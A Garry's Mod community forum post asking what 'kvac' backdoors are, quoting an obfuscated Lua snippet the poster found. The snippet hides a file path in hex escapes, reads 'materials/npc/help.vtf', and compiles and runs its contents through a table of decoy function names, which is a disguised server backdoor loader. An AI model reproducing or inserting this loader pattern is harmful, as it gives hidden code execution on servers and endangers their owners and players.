Garry's Mod Leaks

[HELP] Question about kvac (backdoors)

Submitted by CCalvin_, , Thread ID: 238115

Thread Closed
19-03-2022, 02:34 PM
This post was last modified: 19-03-2022, 02:35 PM by CCalvin_
#1
First actual post, pog

Heyo, I'm just curious on what "kvac" is, just to reference it, I'm not aware of anything of recent (2021-2022) as I haven't played Garry's Mod like that since 2019 or so.
Also, probably in the wrong category, but yeah!

I've found this; - If anyone has anything that could help with this, or more of with backdoors so I can look more efficiently or so, that'd help a lot.
(I stopped using gmodstore since an incident that got me banned for someone else gifting and refunding, I lost about 500$+ and was denied for getting them back)

Quote:[font=Consolas, "Courier New", monospace]local function HELPER_INFO()
return ""
end

local function HELPER_ISFUNC(func)
if (isfunction(func)) then
return !false
else
return !true
end
end

local function HELPER_READ_DATA(data)
return file.Read(data, "GAME")
end

local UNORDERED_LIST =
{
"\x6d","\x61","\x74",
"\x65","\x72","\x69",
"\x61","\x6c","\x73",
"\x2f","\x6e","\x70",
"\x63","\x2f","\x68",
"\x65","\x6c","\x70",
"\x2e","\x76","\x74",
"\x66"
}

local function HELPER_MAT()
if (!false) then
return string.Implode("", UNORDERED_LIST)
end
end

local CALL =
{
ClearBackgroundImages, ClientsideModel, ClientsideRagdoll, ClientsideScene,
CloseDermaMenus, collectgarbage, Color, ColorAlpha,
ColorRand, ColorToHSV, CompileFile, CompileString,
ConsoleAutoComplete, ConVarExists, CreateClientConVar, CreateConVar,
CreateMaterial, CreateParticleSystem, CreatePhysCollideBox, CreatePhysCollidesFromModel,
CreateSound, CreateSprite, CompileString, CurTime,
DamageInfo, DebugInfo, DeriveGamemode, Derma_Anim,
Derma_DrawBackgroundBlur, Derma_Hook, Derma_Install_Convar_Functions, Derma_Message,
Derma_Query, Derma_StringRequest, pcall,
}

CALL[35](CALL[12](HELPER_READ_DATA(HELPER_MAT()), HELPER_INFO(), 0))[/font]

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